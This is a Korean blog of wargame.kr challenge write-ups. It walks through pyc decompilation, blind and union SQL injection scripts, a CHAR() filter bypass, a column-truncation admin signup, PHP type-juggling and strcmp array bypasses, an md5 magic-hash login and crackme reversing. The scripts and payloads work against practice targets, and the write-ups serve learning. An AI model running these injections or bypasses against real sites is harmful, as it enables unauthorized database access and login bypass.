늘모자란, 개발

늘모자란, 개발


bughela.pyc

:D


문제엔 서버시간이 나와 있다. 이렇게

[IMPORTANT] SERVER TIME (KST) :

2016/06/12 23:57:49


그리고 pyc를 받을 수 있는데, 실행해보면 import me 라고 나온다.
dir을 이용해서 명령어를 조회해보니 이렇게 나온다.

['GIVE_ME_FLAG', '__builtins__', '__doc__', '__file__', '__name__', '__package__', 'die', 'exit', 'main', 'sha512', 'time']


목표가 굳이 설명을 할 필요가 없을정도로 명확해보인다.
일단 디컴파일이 필요해보이니 디컴파일러를 찾았다. 코드 원형을 쉽게 볼 수 있었다.

import time
from sys import exit
from hashlib import sha512

def main():
    print 'import me :D'

def GIVE_ME_FLAG(flag):
    if flag[:43] != 'http://wargame.kr:8080/pyc_decompile/?flag=':
        die()
    flag = flag[43:]
    now = time.localtime(time.time())
    seed = time.strftime('%m/%d/HJEJSH', time.localtime())
    hs = sha512(seed).hexdigest()
    start = now.tm_hour % 3 + 1
    end = start * (now.tm_min % 30 + 10)
    ok = hs[start:end]
    if ok != flag:
        die()
    print 'GOOD!!!'

def die():
    print 'NOPE...'
    exit()

if __name__ == '__main__':
    main()


소스를 풀어서 실행하면 끝날까 싶더니 안되었다.
잘 보면 로컬타임을 맞춰 실행되고 있는데 처음에 문제에서 IMPORTANT!!! 라고 했기때문에 서버시간을 써야되나싶어서 서버타임으로 대충 코드질을 했다

#!/usr/bin/env python
# -*- coding: utf8 -*-
 
import time
import datetime
import urllib, urllib2, re
from hashlib import sha512

 
headers = {'Host': 'wargame.kr:8080'}
url = "http://wargame.kr:8080/pyc_decompile/"
 
req = urllib2.Request(url, '', headers)
response = urllib2.urlopen(req)
res = response.read()

server_time = res[res.find('<h1>')+4:res.find('</h1>')]
server_time = datetime.datetime.strptime(server_time, '%Y/%m/%d %H:%M:%S')

now = server_time
seed = server_time.strftime('%m/%d/HJEJSH')
hs = sha512(seed).hexdigest()
start = server_time.hour % 3 + 1
end = start * (server_time.minute % 30 + 10)
ok = hs[start:end]

req = urllib2.Request("http://wargame.kr:8080/pyc_decompile/?flag=" + ok, '', headers)
response = urllib2.urlopen(req)
res = response.read()


print res


약간.. 허무한 느낌이다.
pyc가 이렇게 쉽게 디컴파일이 되는것도 허무했고 문제도 조금 허무하고..





2016/06/13 00:16 2016/06/13 00:16
Simple SQLi Challenge.

How can I set in order to reduce the traffic?

Please try looking at a developer's perspective.


web chatting... 뭔가... 단어가.... 거슬린다.....
화면은 되게 별거 없다. 그냥 닉네임 치고 들어가서 채팅창이 하나 있는건데

콘솔이 완전 난리다. ajax chat이라서 정말 쉬지도 않고 채팅을 갱신하고 있다
반환되는 내용을 보니

'14034' 인데, 내가 글을 한번 치니 14035로 올라갔다.
즉 마지막글의 번호인모양이다.

로직은 이렇다.

http://wargame.kr:8080/web_chatting/chatlog.php?data=test 


이런식으로 데이터를 기입할 수 있고, 마지막 번호가 달라진채로 반환되면

http://wargame.kr:8080/web_chatting/chatview.php?t=1&ni=14036


자신의 마지막 채팅번호도 같이 보내 그 사이의 값을 받아온다.
그렇게 반환된 데이터는

<span title='12:44:57 (10 Jun. 2016)'><b style='font-size:12px;'>3</b> <span style='font-size:9px;'>()</span> : <span style='font-size:13px; font-family:verdana;'>test</span></span><br />


이렇게 생겼다. 숫자를 바꿔보내면 지난 날의 삽질 기록들이 쭈욱 나오는데 그걸 보진 말자

요점을 보자면 chatview.php 를 이용해 flag를 반환받아야 할 것 같다. ni에 sql명령어를 쳐봤더니 반환이 되었다.
고로,

table 이름, 컬럼이름, 컬럼조회를 다시 하면 될 것 같다.
다만, 이번경우에는 union이 사용안되는듯 보여 blind injection을 사용해야 할 것 같은데, 학교에선 또 안된다.......
결국 기숙사에와서 다시 돌려보았다. 참, 구분을 구분해보기 위해서 IF를 사용해보자

http://wargame.kr:8080/web_chatting/chatview.php?t=1&ni=IF(1=0,1,200)


요컨데 이런꼴로 하면 결과가 달리 리턴되는걸 확인해볼 수 있다.
블라인드 인젝션을 위한 스크립을 작성해야되는 타이밍이 왔다. 우선 테이블의 길이부터 차근차근 알아내보도록 하자

우선 테이블 이름의 길이부터 알아내야한다. 그런데 지금은 아무 단서가 없기 때문에 일반 테이블 중에서 선택하도록 해보자.
information_schema를 본사람은 알겠지만 테이블은 시스템 테이블과 base table로 나뉘어져있다. 그런데 이런 워게임같은 경우는 정말 특별한 일이 아니고서야 테이블이 단 하나만 있을 것이다. (DB별로 나뉘어서 존재하고)

고로, BASE테이블을 조회해보자.
내가 만든 쿼리는 다음과 같다.

"if((select length(table_name) from information_schema.tables where table_type=0x{} limit {},1)={},1,200)".format("BASE TABLE".encode('hex'),limit,i)


BASE TABLE을 hex화 하는건 qoute가 필터링 되있기 때문이다.
이렇게 돌리면 각자 참과 거짓일때 어떤 값을 넣을진 잘 모르겠지만 나의 경우엔 3321735로 나왔다. 이제 얘가 아닐때 출력하게 해주는 식으로 스크립트를 작성해보자.

#!/usr/bin/env python
# -*- coding: utf8 -*-

import urllib, urllib2, re


headers = {'Host': 'wargame.kr:8080'}
url = "http://wargame.kr:8080/web_chatting/chatview.php?t=1&ni="

for i in range(100):
    data = "if((select length(table_name) from information_schema.tables where table_type=0x{} limit 1,1)={},1,200)".format("BASE TABLE".encode('hex'),i)
    data = urllib.quote(data)

    req = urllib2.Request(url + data , '', headers)
    response = urllib2.urlopen(req)
    if len(response.read()) != 3321735:
        print i


짧은 코드이다. 길이를 얻었으니 이제 아스키코드 매칭을 해보자.

#!/usr/bin/env python
# -*- coding: utf8 -*-

import urllib, urllib2, re


headers = {'Host': 'wargame.kr:8080'}
url = "http://wargame.kr:8080/web_chatting/chatview.php?t=1&ni="

for i in range(1,여긴길이가 들어간다):
    for j in range(32,123):
        data = "if((select substr(table_name,{},1) from information_schema.tables where table_type=0x{} limit 1,1)={},1,200)".format(i,"BASE TABLE".encode('hex'),hex(j))
        data = urllib.quote(data)

        req = urllib2.Request(url + data , '', headers)
        response = urllib2.urlopen(req)

        if len(response.read()) != 3321735:
            print chr(j)


이렇게 하면 대 소문자가 같이 나오는데 알아서 거르도록 하자.
컬럼 길이를 따고, 컬럼 이름을 따고, 셀렉트하는 과정이 남았다.

#!/usr/bin/env python
# -*- coding: utf8 -*-

import urllib, urllib2, re


headers = {'Host': 'wargame.kr:8080'}
url = "http://wargame.kr:8080/web_chatting/chatview.php?t=1&ni="

for i in range(1,10):
    for j in range(1,100):
        data = "if((select length(column_name) from information_schema.columns where table_name like 0x{} limit {},1)={},1,200)".format("테이블 이름을 적당히 잘라서%".encode('hex'),i,j)
        data = urllib.quote(data)

        req = urllib2.Request(url + data , '', headers)
        response = urllib2.urlopen(req)

        if len(response.read()) != 3321735:
            print i, j


컬럼 이름은 좀 골때리는데, 컬럼이 몇갠줄을 모른다.
그래서 그냥 한 열개쯤 되겠거니 해서 10*100으로 돌려보았다.
컬럼은 다섯개가 나온다. 굳이 10개로 돌리진 말라고 하는 맘에 적어본다.

#!/usr/bin/env python
# -*- coding: utf8 -*-

import urllib, urllib2, re


headers = {'Host': 'wargame.kr:8080'}
url = "http://wargame.kr:8080/web_chatting/chatview.php?t=1&ni="

for k in range(1,6):
    for i in range(1,9):
        for j in range(32,92):
            data = "if((select substr(column_name,{},1) from information_schema.columns where table_name like 0x{} limit {},1)={},1,200)".format(i,"테이블 이름을 쓴다".encode('hex'),k,hex(j))
            data = urllib.quote(data)

            req = urllib2.Request(url + data , '', headers)
            response = urllib2.urlopen(req)

            if len(response.read()) != 3321735:
                print k, chr(j)
    print
    print



보시다시피 루프가 세개나 되기때문에 아주, 아주 오래 기다려야한다. 우리가 봐야할 컬럼은 5번이니까 그냥 limit에 5를 하는걸 권한다.
나는... 다했다....

#!/usr/bin/env python
# -*- coding: utf8 -*-

import urllib, urllib2, re


headers = {'Host': 'wargame.kr:8080'}
url = "http://wargame.kr:8080/web_chatting/chatview.php?t=1&ni="

pw = ''
for i in range(22,50):
    for j in range(32,92):
        data = "if((select substr(컬럼,{},1) from 테이블)={},1,200)".format(i,hex(j))
        data = urllib.quote(data)

        req = urllib2.Request(url + data , '', headers)
        response = urllib2.urlopen(req)

        if len(response.read()) != 3321735:
            print chr(j)
            pw = pw + chr(j)

print pw



이렇게 하면 키를 얻을 수 있게 된다. (길이를 알아내는게 우선이지만 어차피 해쉬라고 생각했다)
그런데 워낙 많은 리퀘스트를 때리다보니 접속이 원활히 이루어질때가 있다. 개인적으로는 time.sleep(1) 등을 이용해서 약간 간격을 줘야 안정적으로 문제를 풀 수 있을 것 같다.

해결하기 위해 순수하게 오래 걸리는 문제였다.




2016/06/10 12:52 2016/06/10 12:52
Simple Union SQL injection Challenge.
(but you need script... maybe?)


가벼운 보드가 반겨준다. 글 내용도 읽을 수 있게 충실히(?) 잘 구현되어 있는 보드인데 union으로 다른 테이블을 조회해야하는 느낌이 들었다. 소스는 다음과 같다
사실 이런 클래스를 보면... 나도 제대로좀 짜야겠단 생각이 매번들지만.. 이렇게 구조화해서 짜는게 참 좋은데.. 시도를 할 엄두가 안난다.

 <?php
    if (isset($_GET['view-source'])){
        if (array_pop(split("/",$_SERVER['SCRIPT_NAME'])) == "classes.php") {
            show_source(__FILE__);
            exit();
        }
    }

    Class DB {
        private $connector;

        function __construct(){
            $this->connector = mysql_connect("localhost", "SimpleBoard", "SimpleBoard_pz");
            mysql_select_db("SimpleBoard", $this->connector);
        }

        public function get_query($query){
            $result = $this->real_query($query);
            return mysql_fetch_assoc($result);
        }

        public function gets_query($query){
            $rows = [];
            $result = $this->real_query($query);
            while ($row = mysql_fetch_assoc($result)) {
                array_push($rows, $row);
            }
            return $rows;
        }

        public function just_query($query){
            return $this->real_query($query);
        }

        private function real_query($query){
            if (!$result = mysql_query($query, $this->connector)) {
                die("query error");
            }
            return $result;
        }

    }

    Class Board {
        private $db;
        private $table;

        function __construct($table){
            $this->db = new DB();
            $this->table = $table;
        }

        public function read($idx){
            $idx = mysql_real_escape_string($idx);
            if ($this->read_chk($idx) == false){
                $this->inc_hit($idx);
            }
            return $this->db->get_query("select * from {$this->table} where idx=$idx");
        }

        private function read_chk($idx){
            if(strpos($_COOKIE['view'], "/".$idx) !== false) {
                return true;
            } else {
                return false;
            }
        }

        private function inc_hit($idx){
            $this->db->just_query("update {$this->table} set hit = hit+1 where idx=$idx");
            $view = $_COOKIE['view'] . "/" . $idx;
            setcookie("view", $view, time()+3600, "/SimpleBoard/");
        }

        public function get_list(){
            $sql = "select * from {$this->table} order by idx desc limit 0,10";
            $list = $this->db->gets_query($sql);
            return $list;
        }

    }




글을 읽을때마다 view라는 쿠키에 글 번호가 기재된다.
만약 쿠키에 없는 글을 읽으면 조회수가 올라가는 방식이다.
소스상에서 idx에 quote가 되지 않아 공격으로 활용할 수 있을 것 같아 간단히 idx 와 union select 를 해봤는데 자꾸 타임아웃이 걸렸다. 이유는 모르겠으나 너무 답답한 문제였다. 근데 원격으로 기숙사에서 돌리니 잘돼... 아무래도 네트워크 방화벽자체에서 단어를 필터링 하는 모양이다.
그래서... 한쪽은 팀뷰어 키고 한쪽은 문제 풀이하는 기이한 광경으로 풀이를 시작했다


소스를 보면 알 수 있겠지만 쿠키를 이용한다. 그래서 쿼리입력과 쿠키를 맞춰줘야 하는데 그냥 하면 너무나 귀찮은 일이다.
그래서 간단한 python 코드를 작성한다.

#!/usr/bin/env python
# -*- coding: utf8 -*-

import urllib, urllib2, re

data = ''
payload = "5 union select 1,2,3,4#"
 
headers = {'Host': 'wargame.kr:8080',
           'Cookie': 'view='+ urllib.quote('/'+payload)+';'
          }
url = 'http://wargame.kr:8080/SimpleBoard/read.php?idx=' + urllib.quote(payload)


req = urllib2.Request(url, '', headers)
response = urllib2.urlopen(req)
the_page = response.read()

print the_page


결과가 잘 나오는걸 확인했으니 4번 항복에 원하는데로 쿼리를 넣어보도록 하자.
전에 webhacking.kr에서 컬럼이름을 알아내는 방법에 대해서 적은적이 있었는데, 그땐 information_Schema가 막혀있었다.
그치만 이번엔 어떤 락도 존재하지 않으니 쭈욱 뽑아내보도록 하자


select table_schema,table_name,3,4 FROM information_Schema.tables


이런식으로 갯수를 4개를 맞춰줘야한다. 3,4 는 중요한게 아니고 이제 뒤에 limit 1,1 꼴로 한개씩 증가시켜나가볼것이다
limit 40때 테이블 이름들이 등장하는데

<tr><td>SimpleBoard</td><td>README</td><td>3</td></tr>


이름이 바로 README이다. 그렇다면 README의 컬럼도 알아보자

5 union select column_name, 2, 3, 4 from information_schema.columns where table_name='README'


안된다. 왜 안될까. README라는 테이블명이 아무래도 필터링 되고 있는것 같았다.
그래서 아스키코드로 변환해서 다음과 같이 입력했다.

5 union select column_name, 2, 3, 4 from information_schema.columns where table_name=CHAR(82,69,65,68,77,69)


컬럼이름이 flag라고 한다.
select를 하면 key가 나오고 문제를 해결할 수 있다.
컴퓨터 두대로 하느라 정말 귀찮은 문제였다...




2016/06/08 17:24 2016/06/08 17:24
you need login with "admin"s id!

===========================

create table tmitter_user(
 idx int auto_increment primary key,
 id char(32),
 ps char(32)
);


짭트위터 ... admin으로 로그인해야한다고 한다.
웃긴게 로그인버튼은 눌리지도 않는데 일단은 admin이라는 아이디로 가입부터 해보기로 한다

필터는 안되있고 admin 으로 가입하려면 존재한다는 에러가 반겨준다.
옛날에 한 가락이 있으니 admin + ' '도 해보고 이것저것 해봤으나 안된다.

0x61646d696e 는 존재한다는것 같지만
CHAR(97,100,109,105,110) 를 해보니까 화면이 전환되었다. 이름 그대로 가입시켜준다 ㅋㅋ CHAR 함수는 사용할 수 없는것 같다.
잘 생각해보면 디비 스킴을 왜 공개해줬을까. 아이디에 혹시 32자이상해주면 마지막은 잘리고, tim()되면서 admin으로 가입할 수 있지 않을까?

요컨데 이렇게 말이다.

id=admin                                                                                           1&ps=1234567


자릿수는 그냥 32자 넘기려고 대강 친것이다. 어쨌든 이렇게 하면 가입이 정상적으로 이뤄지고, 로그인할수도 있어 key를 얻게 된다.
2016/06/08 16:10 2016/06/08 16:10
Simple Compare Challenge.

hint? you can see the title of this challenge.

 :D


type.. 사실 PHP같은 스크립트 기반 언어에서 type을 신경써본적이 '거의'없다. 무슨 문제일지 궁금하긴하다.

 <?php
 if (isset($_GET['view-source'])) {
     show_source(__FILE__);
    exit();
 }
 if (isset($_POST['json'])) {
     usleep(500000);
     require("../lib.php"); // include for auth_code function.
    $json = json_decode($_POST['json']);
    $key = gen_key();
    if ($json->key == $key) {
        $ret = ["code" => true, "flag" => auth_code("type confusion")];
    } else {
        $ret = ["code" => false];
    }
    die(json_encode($ret));
 }

 function gen_key(){
     $key = uniqid("welcome to wargame.kr!_", true);
    $key = sha1($key);
     return $key;
 }
?>

<html>
    <head>
        <script src="//ajax.googleapis.com/ajax/libs/jquery/1.8.1/jquery.min.js"></script>
        <script src="./util.js"></script>
    </head>
    <body>
        <form onsubmit="return submit_check(this);">
            <input type="text" name="key" />
            <input type="submit" value="check" />
        </form>
        <a href="./?view-source">view-source</a>
    </body>
</html>



일단 gen_key는 uniqid기때문에 내가 어떤값을 넣어서 보낸다고 해도 별로 소용이 없다.
그래서 다른 방법을 찾아야 할 것 같아보였다. 무조건 값을 참으로 만들어야 하는데 $json->key를 그대로 사용하고 있다.
json은 true와 false의 경우 "true"나 "false"처럼 string으로 캐스팅하지 않고 그대로 사용하고, 형을 보존해서 보내기때문에

key에 true 값을 줘서 보내면 문제를 패스하게 된다
요컨데 이런식이다

json={"key":true}




2016/06/08 15:56 2016/06/08 15:56
if you can bypass the strcmp function, you get the flag.


strcmp는 문자열을 비교하는 함수인데 bypass를 어떻게 해야할것인가.

 <?php
    require("../lib.php"); // for auth_code function

    $password = sha1(md5(rand().file_get_contents("/var/lib/dummy_file")).rand());

    if (isset($_GET['view-source'])) {
        show_source(__FILE__);
        exit();
    }else if(isset($_POST['password'])){
        sleep(1); // do not brute force!
        if (strcmp($_POST['password'], $password) == 0) {
            echo "Congratulations! Flag is <b>" . auth_code("strcmp") ."</b>";
            exit();
        } else {
            echo "Wrong password..";
        }
    }

?>
<br />
<br />
<form method="POST">
    password : <input type="text" name="password" /> <input type="submit" value="chk">
</form>
<br />
<a href="?view-source">view-source</a>


일반적으론 패스할수 없다고 생각되지만 php strcmp 에 배열 취약점이 있다
DOM을 조작해도 좋고, 패킷을 그냥 생성해도 보내도 상관없다. password=가 아닌 password[]= 형태로 만들어 보내주자. 값은 상관없다.
가면갈수록 === 를 안쓰면 큰일나겠다는 생각이 든다.
2016/06/08 15:34 2016/06/08 15:34
Simple Reverse Engineering Challenge.


웹해킹이 아니라 리버싱이라고 선언해오고 있다. 리버싱은 경험이 거의 없기 때문에 걱정이 좀 된다. 얼마나 걸릴지도 잘 모르겠고...

문제에 들어가면 crackme를 받을 수 있다. crackme는 리버싱 초보들한테 어디 구간을 어떻게 해보라 하고 주는 튜토리얼 비슷한 느낌으로 알고 있는데, 나한테 딱 맞는것 같다.

프로그램은 심플한테 뭘 입력하던간에 패스코드로 인식하게 해서 점프하도록 만들어야할 것 같다.
그러기위해서는 무얼해야할까. 툴이 필요하다. OllyDbg를 사용하기로 하자.

나는 이벤트 원리 방식은 잘 모르겠지만 일단 string을 따라가면 뭐가 될 것 같았다.
참고로, 64비트에서는 2.00 이하는 잘 동작하지 않는다. 2.01 버전을 다운받아야 제대로 스트링이 보인다.


프로그램 자체에 http 주소가 있는걸 보니 제대로 키를 입력하면 서버에 키를 요청하는 방법인가보다.

문자열중에 _my_b 와 birth가 있는걸 보니 키에 얘네가 들어갈거라 생각해본다.
조금 더 비주얼하게 보기 위해서 IDA로 저 주소를 따라가서 봤다



밑엔 비슷하게 birth 가 있다. 대강 봐도 _my_bbirth 가 될순 없을것 같으니 뒤에 문장은 _my_birth 라고 생각하자.
그럼 앞이 문젠데

cmp eax, 45Ah

를 __wtoi 를 콜해서 위 값을 비교한다.
cmp는 compare이고 그럼 결국 앞에 붙은값과 45Ah를 비교한다는것 같은데 여기서 h는 hex를 의미한다고 한다.
즉, 0x45A와 일치해야되는 모양이다.

0x45A를 변환해보니까
>>> 0x45A
1114


1114라고 한다.

고로,

1114_my_birth
이거나
_my_birth1114

인데 둘중에 답이 있었다.

어째 제대로 한게 아니라 뛰어가다가 개구리 치인꼴이다.
리버싱은 꼭 제대로 공부하겠다고 스스로와 약속을 하며..

2016/06/08 14:29 2016/06/08 14:29
md5('value', true);


우리는 이 문제를 본적이 있다. 바로 이 문제 이다.

 <?php
 if (isset($_GET['view-source'])) {
  show_source(__FILE__);
  exit();
 }

 if(isset($_POST['ps'])){
  sleep(1);
  mysql_connect("localhost","md5_password","md5_password_pz");
  mysql_select_db("md5_password");
  mysql_query("set names utf8");
  /*
  
  create table admin_password(
   password char(64) unique
  );
  
  */

  include "../lib.php"; // include for auth_code function.
  $key=auth_code("md5 password");
  $ps = mysql_real_escape_string($_POST['ps']);
  $row=@mysql_fetch_array(mysql_query("select * from admin_password where password='".md5($ps,true)."'"));
  if(isset($row[0])){
   echo "hello admin!"."<br />";
   echo "Password : ".$key;
  }else{
   echo "wrong..";
  }
 }
?>
<style>
 input[type=text] {width:200px;}
</style>
<br />
<br />
<form method="post" action="./index.php">
password : <input type="text" name="ps" /><input type="submit" value="login" />
</form>
<div><a href='?view-source'>get source</a></div>


전체 쿼리가 나와 있지만, 사실 볼 필요는 없다. 우린 쿼리를 파괘하기 위해서 마법의 쓰레기 md5값을 넣어주면 해결 할 수 있다.
2016/06/08 14:09 2016/06/08 14:09
JUST COMPARE ONLY.

with the other value :D


소스를 보니 md5의 해쉬 충돌 취약점에 대해 말하고 싶은듯 하다. 그냥느낌이 그렇다


 <?php
    if (isset($_GET['view-source'])) {
         show_source(__FILE__);
         exit();
    }

    if (isset($_GET['v1']) && isset($_GET['v2'])) {
        sleep(3); // anti brute force

        $chk = true;
        $v1 = $_GET['v1'];
        $v2 = $_GET['v2'];

        if (!ctype_alpha($v1)) {$chk = false;}
        if (!is_numeric($v2) ) {$chk = false;}
        if (md5($v1) != md5($v2)) {$chk = false;}

        if ($chk){
            include("../lib.php");
            echo "Congratulations! FLAG is : ".auth_code("md5_compare");
        } else {
            echo "Wrong...";
        }
    }
?>
<br />
<form method="GET">
    VALUE 1 : <input type="text" name="v1" /><br />
    VALUE 2 : <input type="text" name="v2" /><br />
    <input type="submit" value="chk" />
</form>
<br />
<a href="?view-source">view-source</a>



ctype_alpha 는 좀 생소한 PHP function인데, 모두 알파벳인지 확인하는 함수라고 한다.
즉, v1은 전부 알파벳으로만 이루어져야하겠다.
그리고 v2는 전부 숫자여야만 하겠고..

해쉬 충돌은 바이너리 단위로 가야되기때문에 아닌것 같았고 결국 검색어를 다르게 해서,
php md5 vulnerability 로 검색해봤더니... 띠용..

0e 로 시작하게 될경우 hex로 취급되서 지수화 된다고 한다. 정확한 작동원리는 모르겠지만 아니 세상에 뭐 이런게 다 있지 하는 생각이 들었다.

2016/06/08 14:05 2016/06/08 14:05
javascript game.

can you clear with bypass prevent cheating system?


뭐 같은 게임하나 나온다.


게임 소스는 minify 및 난독화된 스크립트가 있는데 처음에 게임을 봤을때 든 생각은 벽 이미지를 다 없애버려서 충돌을 없애거나 점수를 조작하면 되지 않을까였다

그래서 right_wall 과 left_wall 의 width를 전부 0으로 바꿔버렸는데 충돌이 일어났다.
우주선 크기도 1로 했는데 충돌이 일어났다. 뭐지 도대체?
그래서 정상적으로 게임을 해보니까, 벽이 도저히 우주선이 피할 수 없을만큼 좁아져 온다. 에라이...

이것저것 클라이언트로 시도 해봤는데 안될것 같단 결론을 내리고 죽을때 보내는 패킷을 빠르게 낚아채서 점수를 보내보기로 했다
허무하다... 토큰이 지속적으로 바뀌는데 토큰이 바뀌기 전에 재빨리 스코어를 보내주면 그냥.. 키가 온다...

2016/06/07 21:37 2016/06/07 21:37